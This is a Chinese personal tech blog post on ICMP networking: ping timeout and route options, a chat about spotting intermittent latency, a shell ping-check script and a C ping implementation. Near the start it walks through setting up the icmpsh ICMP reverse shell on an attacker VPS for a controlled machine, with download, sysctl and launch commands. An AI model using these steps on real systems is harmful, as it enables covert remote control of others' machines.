[实践OK]能通过icmp协议抓包到Ping服务器的出口IP地址，以及反射木马的一个机制，ping某台机器时，偶尔返回慢，Ping超时检测思路，ping -r 显示路由,C代码，mtr baidu.com icmp 这玩意不错可以试试不错，有丢包率。

jackxiang 2015-1-21 14:06

hacker在具有公网ip的VPS上启动server，在被控机器上启动client ,client主动连接server，从而实现通信。为什么是client主动连接server呢？因为被控机器一般是在内网中，没有公网ip。
有没有相应的开源项目呢？当然是有的，https://github.com/inquisb/icmpsh/，这个实现了一个简单icmp反弹shell，它其中的client叫做slave，server叫做master，都是一回事。

能通过icmp协议抓包到Ping服务器的出口IP地址，以及反射木马的一个机制，这里的IP也就是Ping的机器在没有WebChrome的代理时访问 ip138.com的出口地址：
tcpdump -i eth1 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
16:46:11.433487 IP pinger-e2.ant.isi.edu > levoo.com: ICMP echo request, id 23878, seq 4694, length 12
16:46:11.433528 IP levoo.com > pinger-e2.ant.isi.edu: ICMP echo reply, id 23878, seq 4694, length 12
16:46:12.832107 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 15, length 40
16:46:12.832151 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 15, length 40
16:46:13.835082 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 16, length 40
16:46:13.835119 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 16, length 40
16:46:14.837375 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 17, length 40
16:46:14.837411 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 17, length 40
16:46:15.841689 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 18, length 40
16:46:15.841725 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 18, length 40

教你学木马攻防：    https://cloud.tencent.com/developer/article/1405019
ICMP传送数据原理：https://www.cnblogs.com/qiyeboy/p/9017921.html

Server端：
wget https://raw.githubusercontent.com/inquisb/icmpsh/master/icmpsh_m.py
第一个参数是VPS的公网ip，第二个参数是被控机器的公网ip。被控机器的公网ip用上在这种方式获取。

VPS Server的条件：
master端部署在我自己的VPS上，具有公网ip，首先关闭自身的icmp应答：
$ sysctl -w net.ipv4.icmp_echo_ignore_all=1           (开启置为0)
然后就可以启动icmp应答程序.
先在VPS启动命令：
python icmpsh_m.py  源ip 目的ip
python icmpsh_m.py 101.200.228.135 202.108.16.80
You need to install Python Impacket library first

接着在被控端启动命令：
icmpsh.exe -t  目的ip
这样ICMP反弹shell就建立了，可以远程执行命令了。

问题:
ping某台机器时，偶尔返回慢，如何检测到这块网络波动能认人直观看到？免得有人说网络没有问题。
建议用脚本做，不要用c实现:
ping -w 1 -c 1 $2>/dev/null
//调用ping函数，-w为超时时间；-c为ping的次数;
ping -w 1 -c 1 $2
从脚本所在机去ping之后pingcmd函数的第二个参数(本例为之后建立的serve1-7),超时1秒，执行1次

[root@emulMachine ping]# ping -c 2  baidu.com
PING baidu.com (220.181.57.216) 56(84) bytes of data.
64 bytes from 220.181.57.216: icmp_seq=1 ttl=52 time=19.7 ms
64 bytes from 220.181.57.216: icmp_seq=2 ttl=52 time=2.52 ms

--- baidu.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 2.520/11.141/19.763/8.622 ms
LINUX系统ping命令完整实现（带路由追踪参数）：

下载文件

点击这里下载文件

http://download.csdn.net/download/sjgtongji/4421406

Windows：
ping -n 100 -r 9 -w 1000 10.70.56.88（发送100个数据包，最多记录9个路由,1000毫秒也就是1秒。）
C:\Users\admin>ping -n 100 -r 9 -w 1000 baidu.com   （发送100个数据包，最多记录9个路由,1000毫秒也就是1秒。）

正在 Ping baidu.com [123.125.114.144] 具有 32 字节的数据:
来自 123.125.114.144 的回复: 字节=32 时间=17ms TTL=56
    路由: 172.21.3.1 ->
           202.108.16.69 ->
           61.49.42.130 ->
           202.106.229.58 ->
           202.106.229.57 ->
           202.106.227.10 ->
           10.23.190.129 ->
           10.23.190.97 ->
           10.23.190.138
来自 123.125.114.144 的回复: 字节=32 时间=14ms TTL=56
    路由: 172.21.3.1 ->
           202.108.16.69 ->
           61.49.42.130 ->
           61.148.143.22 ->
           61.148.143.21 ->
           61.49.168.89 ->
           10.23.190.129 ->
           10.23.190.97 ->
           10.23.190.138
Linux:
ping -c 9  -w 1000 10.70.56.88 （发送9个数据包，最多记录9个路由,1000毫秒也就是1秒。）
[root@emulMachine vhost]# ping -c 9  -w 1000 10.70.56.88
PING 10.70.56.88 (10.70.56.88) 56(84) bytes of data.
64 bytes from 10.70.56.88: icmp_seq=1 ttl=61 time=0.570 ms
64 bytes from 10.70.56.88: icmp_seq=2 ttl=61 time=0.545 ms
64 bytes from 10.70.56.88: icmp_seq=3 ttl=61 time=0.533 ms
64 bytes from 10.70.56.88: icmp_seq=4 ttl=61 time=0.545 ms
64 bytes from 10.70.56.88: icmp_seq=5 ttl=61 time=0.541 ms
64 bytes from 10.70.56.88: icmp_seq=6 ttl=61 time=0.552 ms
64 bytes from 10.70.56.88: icmp_seq=7 ttl=61 time=0.557 ms
64 bytes from 10.70.56.88: icmp_seq=8 ttl=61 time=0.558 ms
64 bytes from 10.70.56.88: icmp_seq=9 ttl=61 time=0.559 ms
____________________________________________________________________________________________________
C:\Users\admin>ping --help
Windows参数:
-n count       要发送的回显请求数。
-r count       记录计数跃点的路由(仅适用于 IPv4)。
-w timeout     等待每次回复的超时时间(毫秒)。

Linux下参数:
ping --help
[-w deadline]  :等待每次回复的超时时间(毫秒)。
[-c count]       :ping 多少次如：-c 2:表示ping两次。
linux下的ping没有像windows下的ping有一个-r的路由：
只能linux下用traceroute，windows下用：tracert baidu.com。
Linux下有一个mtr， mtr baidu.com icmp 这玩意不错可以试试不错，有丢包率。
____________________________________________________________________________________________________
Centos下的-w和-c测试如下：
[root@emulMachine ping]# ping -c 6 -w 1 baidu.com
PING baidu.com (123.125.114.144) 56(84) bytes of data.
64 bytes from 123.125.114.144: icmp_seq=1 ttl=52 time=29.9 ms

--- baidu.com ping statistics ---
2 packets transmitted, 1 received, 50% packet loss, time 1000ms
rtt min/avg/max/mdev = 29.930/29.930/29.930/0.000 ms
[root@emulMachine ping]# ping -c 6 -w 10 baidu.com
PING baidu.com (220.181.57.217) 56(84) bytes of data.
64 bytes from 220.181.57.217: icmp_seq=1 ttl=51 time=1.69 ms
64 bytes from 220.181.57.217: icmp_seq=2 ttl=51 time=80.2 ms
64 bytes from 220.181.57.217: icmp_seq=3 ttl=51 time=1.75 ms
64 bytes from 220.181.57.217: icmp_seq=4 ttl=51 time=1.90 ms
64 bytes from 220.181.57.217: icmp_seq=5 ttl=51 time=2.09 ms
64 bytes from 220.181.57.217: icmp_seq=6 ttl=51 time=1.62 ms

--- baidu.com ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5004ms
rtt min/avg/max/mdev = 1.622/14.889/80.268/29.238 ms

——————————————————————————————————————————————————————
给个ping 的-w:timeout详解
其实在命令提示符的帮助中已经说明了，
-w timeout     Timeout in milliseconds to wait for each reply.
意思是，按毫秒记每一个应答的超时时间。1000毫秒=1秒
假如，我的网络很差，延迟很大，我ping www.baidu.com，如果我将超时时间设置很短如10毫秒，那么如果发出一个数据包10毫秒内没有收到应答包的话，就给出请求超时的提示。但是如果我将超时时间设置为100000毫秒，就是100秒。那么我就有可能收到类似应答信息
Reply from 61.135.169.105: bytes=32 time=2952ms TTL=47
可以看到time是2952毫秒就是2秒钟，说明网络很差。如果你将超时时间设置为10毫秒，都可以收到应答信息，那么你的网络就非常好。
ping www.baidu.com -w 1000 是使用的方式

来自：http://zhidao.baidu.com/link?url=HjOEnYDQX6WLcfOJibiBLTO7hb66DEEtrtCwJPH7SDRBzu76Lkc_4EjIzqeWmgGrFYeO9NNQ9THl-EaDEk6Ujq

ping -r 的用法？
ping-r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。

在一般情况下你发送的数据包是通过一个个路由才到达对方的，但到底是经过了哪些路由呢？通过此参数就可以设定你想探测经过的路由的个数，不过限制在了9个，也就是说你只能跟踪到9个路由，如果想探测更多，可以通过其他命令实现，我将在以后的文章中给大家讲解。以下为示例：

C:＼>ping -n 1 -r 9 202.96.105.101 （发送一个数据包，最多记录9个路由）

Pinging 202.96.105.101 with 32 bytes of data:

Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 ->
202.107.210.214 ->
61.153.112.70 ->
61.153.112.89 ->
202.96.105.149 ->
202.96.105.97 ->
202.96.105.101 ->
202.96.105.150 ->
61.153.112.90

Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms

从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ，202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。
来自：http://zhidao.baidu.com/link?url=PI0CZGLokQxxVEGzbrH_FrxRlAaI-vc3AzzX-Ta8K-fQFZmhF3oIcLd94poNvOONL4hI7iQRH6UTE9T6PWaViq

罗毅峰新 15/1/21 星期三下午 01:50:39
写个程序定时ping呗，返回的数据做成曲线。超过阀值就报警。
下午 01:52:04
回忆未来-向东-Jàck 15/1/21 星期三下午 01:52:04
是一直ping时会偶尔会有回包慢，这程序怎么写：
64 bytes from 10.70.56.88: icmp_seq=237 ttl=61 time=8.75 ms

回忆未来-向东-Jàck 15/1/21 星期三下午 01:52:19
要用到定时器吧？

回忆未来-向东-Jàck 15/1/21 星期三下午 01:52:35
我发出ping后，开始计时，回来后，我结束计时？
下午 01:58:12
罗毅峰新 15/1/21 星期三下午 01:58:12
我的想法：发出ping后，等1秒取结果。如果没取到就认为网络不正常。取到的话，再看延迟ms情况。
一般用脚本语言写吧。具体细节，如果你们有运维同事，问问他们吧。
下午 02:11:14
回忆未来-向东-Jàck 15/1/21 星期三下午 02:11:14
这块是1秒设置用select模型？呵呵

回忆未来-向东-Jàck 15/1/21 星期三下午 02:11:36
select 1秒超时是吧。还是用哪个1秒呢。
下午 02:20:55
回忆未来-向东-Jàck 15/1/21 星期三下午 02:20:55
这块求思路，如果兄弟写，我对linux下的c不太熟悉呢，我也未必写，他们搞基础运维的刚才承认网络有问题了。
下午 02:22:58
罗毅峰新 15/1/21 星期三下午 02:22:58
这块我也没写过。大概思路就是刚才说的那样吧。但我觉得不应该用C写。用脚本语言吧，比如python、php、sh什么的。

回忆未来-向东-Jàck 15/1/21 星期三下午 02:23:37
嗯，好。
——————
基础运维做得好的，我觉得还是腾讯，呵呵。

——————————————————————————————————————————————————————————
linux下自动ping命令检测IP地址的shell脚本：

代码说明：
通过调用shell函数pingcmd，实现ping设置在severX中的IP地址代表的主机。

分析下pingcmd函数的实现：
prefix="SERVER $1 PING $2"    //定义一个字符串，为后面printf输出做准备
ping -w 1 -c 1 $2>/dev/null
//调用ping函数，-w为超时时间；-c为ping的次数;
ping -w 1 -c 1 $2
从脚本所在机去ping之后pingcmd函数的第二个参数(本例为之后建立的serve1-7),超时1秒，执行1次
>/dev/null 的作用是把屏幕的输出从指向到某处，/dev/null是指向空设备，即不需要标准输出。
ret=$?  //获取返回值，0为ping成功
if [ $ret -eq 0 ]    //如果返回值为0,即ping成功
then printf "$prefixt is up"   则输出一开始定义的字符串（例：SERVER 192.168.1.3 PING 192.168.1.2 OK）
else printf "$prefixt is down" 同上，输出错误信息（此处删除标准输出，之前已定义了输）。
fi

C代码，LINUX系统ping命令完整实现（带路由追踪参数）：

#include<stdio.h>
#include<signal.h>
#include<arpa/inet.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<unistd.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<netinet/ip_icmp.h>
#include<netdb.h>
#include<setjmp.h>
#include<errno.h>
#include<malloc.h>
#define PACKET_SIZE 4096
#define MAX_WAIT_TIME 5
char sendpacket[PACKET_SIZE];
char recvpacket[PACKET_SIZE];
double max_time=0,min_time=10000,sum_time=0;
int show_pro=1,iobyname=0;
struct timeval start_time,end_time;
int sockfd,datalen=56;
int send_count=4,send_interval=1,nTTL=-1,route_count=-1,route_TTL=1;
int nsend=0,nreceived=0,npack=0;
struct sockaddr_in dest_addr;
pid_t pid;
struct sockaddr_in from;
struct timeval tvrecv;
void statistics(int signo);
unsigned short cal_chksum(unsigned short *addr, int len);
int pack(int pack_no);
int send_packet(void);
int recv_packet(void);
int unpack(char* buf, int len);
void tv_sub(struct timeval *out, struct timeval *in);
void cal_time(double rtt);
void commandhelp();
void send_recv();

void statistics(int signo)
{
  printf("\n-------------------PING statistics----------------\n");
  printf("%d packets transmitted , %d received ,%.1f%% lost\n ",
      nsend,nreceived,((float)nsend-(float)nreceived)/(float)nsend*100);
  if( (max_time!=0) && (sum_time!=0) )
    printf("rtt min/avg/max = %.3f %.3f %.3f \n",
        min_time,sum_time/nreceived,max_time);
  close(sockfd);
  exit(0);
}

/*校验和算法*/
unsigned short cal_chksum(unsigned short *addr,int len)
{
  int nleft=len;
  int sum=0;
  unsigned short *w=addr;
  unsigned short answer=0;
  while(nleft>1)/*把ICMP报头二进制数据以2字节为单位加起来*/
  {
    sum+=*w++;
    nleft-=2;
  }
  if( nleft==1 )
  {
    *(unsigned char *)(&answer) = *(unsigned char *)w;
    sum+=answer;
  }
  sum=(sum>>16)+(sum&0xffff);
  sum+=(sum>>16);
  answer=~sum;
  return answer;
}

/*设置ICMP报头*/
int pack(int pack_no)
{
  int i,packsize;
  struct icmp *icmp;
  struct timeval *tval;
  icmp=(struct icmp*)sendpacket;
  icmp->icmp_type=ICMP_ECHO;
  icmp->icmp_code=0;
  icmp->icmp_cksum=0;
  icmp->icmp_seq=pack_no;
  icmp->icmp_id=pid;
  packsize=8+datalen;
  tval = (struct timeval *)icmp->icmp_data;
  gettimeofday(tval,NULL);/*记录发送时间*/
  icmp->icmp_cksum=cal_chksum((unsigned short *)icmp,packsize);/*校验算法*/
  return packsize;  
}

int send_packet()
{
  int packetsize;
  npack++;
  packetsize=pack(npack);/*设置ICMP报头*/
  if( sendto( sockfd, sendpacket, packetsize, 0,
    (struct sockaddr *)&dest_addr,sizeof(dest_addr)) <0 )
  {
    perror("sendto error");
    return -1;
  }
  return 0;
}

/*接受报文*/
int recv_packet()
{
  int n,fromlen;
  extern int errno;
  
  signal(SIGALRM,statistics);
  signal(SIGINT,statistics);
  fromlen=sizeof(from);
  alarm(MAX_WAIT_TIME);
    if( ( n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,
      (struct sockaddr*)&from,&fromlen))<0 )
    {
      if( errno==EINTR ) 
      perror("recvfrom error");
      return -1;
    }  
    gettimeofday(&tvrecv,NULL);/*记录接收时间*/
    if(unpack(recvpacket,n)==0)
      return 0;
    return -1;
}

/*剥去ICMP报头*/
int unpack(char *buf,int len)
{
  int i,iphdrlen;
  struct ip *ip;
  struct icmp *icmp;
  struct timeval *tvsend;
  double rtt;
  ip=(struct ip *)buf;
  iphdrlen=(ip->ip_hl)*4;
  icmp=(struct icmp *)(buf+iphdrlen);
  len-=iphdrlen;
  if(len<8)
  {
    printf("ICMP packets\' length is less than 8\n");
    return -1;
  }
  /*确认所接收到的是用户所发的ICMP的回应*/
  if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id==pid) )
  {
    tvsend=(struct timeval *)icmp->icmp_data;
    tv_sub(&tvrecv,tvsend);/*接收和发送的时间差*/
    rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000;
    cal_time(rtt);
    if(show_pro==1)
    printf("%d byte from %s: icmp_seq=%u ttl=%d rtt= %.3f ms\n",
        len,inet_ntoa(from.sin_addr),icmp->icmp_seq,ip->ip_ttl,rtt);
    return 0;
  }
  //经过TTL设置后TTL超时
  if( (icmp->icmp_type==11) && (icmp->icmp_code==0) && (nTTL!=-1) )
  {
    if(show_pro==1)
    {
      printf("From %s icmp_seq=%u Time to live exceeded\n",
          inet_ntoa(from.sin_addr),icmp->icmp_seq);
    }
    return -1;
  }
  //未设置TTL而TTL超时，用于路由跟踪
  if( (icmp->icmp_type==11) && (icmp->icmp_code==0) && (nTTL==-1) )
  {
    if(show_pro==1)
    {
      if( (route_TTL==1)&&(route_TTL!=route_count))
      {
        printf(" route:      %s->\n",inet_ntoa(from.sin_addr));
        return -1;
      }
      if( (route_TTL<route_count)&&(route_TTL!=1) )
      {
        printf("             %s->\n",inet_ntoa(from.sin_addr));
        return -1;
      }
      if( (route_TTL==route_count)&&(route_TTL==1) )
      {
        printf(" route:      %s\n",inet_ntoa(from.sin_addr));
        return -1;
      }
      if( (route_TTL==route_count)&&(route_TTL!=1) )
      {
        printf("             %s\n",inet_ntoa(from.sin_addr));
        return -1;
      }
    }
    return -1;
  }
  if( icmp->icmp_type==3 )
  {
    if(show_pro==1)
      printf("Destination can not reach\n");
    return -1;
  }
  return -1;
}

void cal_time(double rtt)
{
  if(max_time<rtt)
    max_time=rtt;
  if(min_time>rtt)
    min_time=rtt;
  sum_time+=rtt;
}

/*时间求差*/
void tv_sub(struct timeval *out,struct timeval *in)
{
  if( (out->tv_usec-=in->tv_usec)<0 )
  {
    out->tv_sec-=1;
    out->tv_usec+=1000000;
  }
  out->tv_sec-=in->tv_sec;
}

void commandhelp()
{
  printf("\n");
  printf("Usage: ping ");
  printf("[-c count] [-i interval] [-n show result] \n");
  printf("            ");
  printf("[-t ttl] [-q result only] [-r routetrace] \n");
  printf("            ");
  printf("[-v detail\n]");
}
void send_recv()
{
  while(nsend<send_count)
  {
    sleep(send_interval);  
    if( send_packet()==0 )
    {
      nsend++;
      if( recv_packet()==0 )
        nreceived++;
    }            
  }
  if(route_count!=-1)
  {
    nTTL=-1;
    while(route_TTL<=route_count)
    {
      setsockopt(sockfd, IPPROTO_IP, IP_TTL,(char *)&route_TTL,
            sizeof(int));
      send_packet();
      recv_packet();
      route_TTL++;
    }
  }
  gettimeofday(&end_time,NULL);
  tv_sub(&end_time,&start_time);
  statistics(SIGALRM);
}

int main(int argc,char *argv[])
{
  int timeout=5000;
  int argi=1,ascaddr;
  struct hostent *host;
  struct protoent *protocol;
  char* inaddr;
  int waittime=MAX_WAIT_TIME;
  int size=50*1024;
  gettimeofday(&start_time,NULL);
  inaddr=(char *)malloc(16*sizeof(char));
  if(argc<2)
  {
    printf("usage:%s hostname/IP address\n",argv[0]);
    exit(1);
  }
  while(argi<argc)
    {
      if( argv[argi][0]=='w' && argv[argi][1]=='w' && argv[argi][2]=='w' )
      {
        if(iobyname!=0)
        {
          printf("bad parameter %s\n",argv[argi]);
          exit(1);
        }
        else
        {
            if( (host=gethostbyname(argv[argi]))==NULL )
            {
                       perror("gethostbyname error");
                  exit(1);
               }
          iobyname=1;
          argi++;
        }
      }
      else
      {
        if(argv[argi][0]>='0' && argv[argi][0]<='9')
        {
          if(iobyname!=0)
          {
            printf("bad parameter %s\n",argv[argi]);
            exit(1);
          }
          else
          {
            strcpy(inaddr,argv[argi]);
            iobyname=2;
            argi++;
          }
        }
        else
        {
          if(argv[argi][0]=='-')
          {
            switch(argv[argi][1])
            {
            case 'h':
              commandhelp();
              exit(1);
            case 'c':
              send_count=atoi(argv[argi+1]);
              argi+=2;
              break;
            case 'i':
              send_interval=atoi(argv[argi+1]);
              argi+=2;
              break;
            case 'n':
              argi++;
              break;
            case 'q':
              show_pro=0;
              argi++;
              break;
            case 's':
               datalen=atoi(argv[argi+1]);
              if(datalen<56)
              {
                printf("datalength from 56 to 4096 \n");
                exit(1);
              }
              argi+=2;
              break;
            case 't':
              nTTL=atoi(argv[argi+1]);
              argi+=2;
              break;
            case 'r':
              route_count=atoi(argv[argi+1]);
              argi+=2;
              break;
            case 'v':
              argi++;
              break;
            default:
              printf("bad parameter %s\n",argv[argi]);
              exit(1);
            }
          }
        }
      }
    }
  if( (protocol=getprotobyname("icmp"))==NULL )
  {
    perror("getprotobyname");
    exit(1);
  }
  if( (sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0 )
  {
    perror("socket error");
    exit(1);
  }
  setuid(getuid());
  setsockopt( sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size) );
  setsockopt( sockfd,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(timeout));//设置接受超时
  setsockopt( sockfd,SOL_SOCKET,SO_SNDTIMEO,(char *)&timeout,sizeof(timeout));//设置发送超时
  if(nTTL!=-1)
  {
    setsockopt(sockfd, IPPROTO_IP, IP_TTL,(char *)&nTTL,sizeof(int));
  }
  bzero(&dest_addr,sizeof(dest_addr));
  dest_addr.sin_family=AF_INET;
  if(iobyname==1)
    dest_addr.sin_addr = *( (struct in_addr *)host->h_addr );
  if(iobyname==2)
    dest_addr.sin_addr.s_addr = inet_addr(inaddr) ;
    pid=getpid();
  if(iobyname==1)
  printf("ping %s(%s): %d bytes data in ICMP packets.\n",host->h_name,
      inet_ntoa(dest_addr.sin_addr),datalen);
  if(iobyname==2)
  printf("ping %s(%s): %d bytes data in ICMP packets.\n",
      inaddr,inaddr,datalen);
  send_recv();
}

下载自：http://download.csdn.net/download/sjgtongji/4421406

在linux中用C语言实现ping命令的部分功能：
http://blog.csdn.net/junjieguo/article/details/7678496

最后编辑： jackxiang 编辑于2019-5-24 16:57

[实践OK]CentOS使用下ps命令无头--no-headers下计

[网络诊断] linux命令学习-mtr，MTR一个好用的网络管理工具，

评论列表

向东博客专注WEB应用构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除|赢在IT，Playin' with IT,Focus on Killer Application,Marketing Meets Technology.

[实践OK]能通过icmp协议抓包到Ping服务器的出口IP地址，以及反射木马的一个机制，ping某台机器时，偶尔返回慢，Ping超时检测思路，ping -r 显示路由,C代码，mtr baidu.com icmp 这玩意不错可以试试不错，有丢包率。

分类

最新日志

链接

向东博客 专注WEB应用 构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除|赢在IT，Playin' with IT,Focus on Killer Application,Marketing Meets Technology.

[实践OK]能通过icmp协议抓包到Ping服务器的出口IP地址，以及反射木马的一个机制，ping某台机器时，偶尔返回慢，Ping超时检测思路，ping -r 显示路由,C代码，mtr baidu.com icmp 这玩意不错可以试试不错，有丢包率。

分类

最新日志

链接

向东博客专注WEB应用构架之美 --- 构架之美，在于尽态极妍 | 应用之美，在于药到病除|赢在IT，Playin' with IT,Focus on Killer Application,Marketing Meets Technology.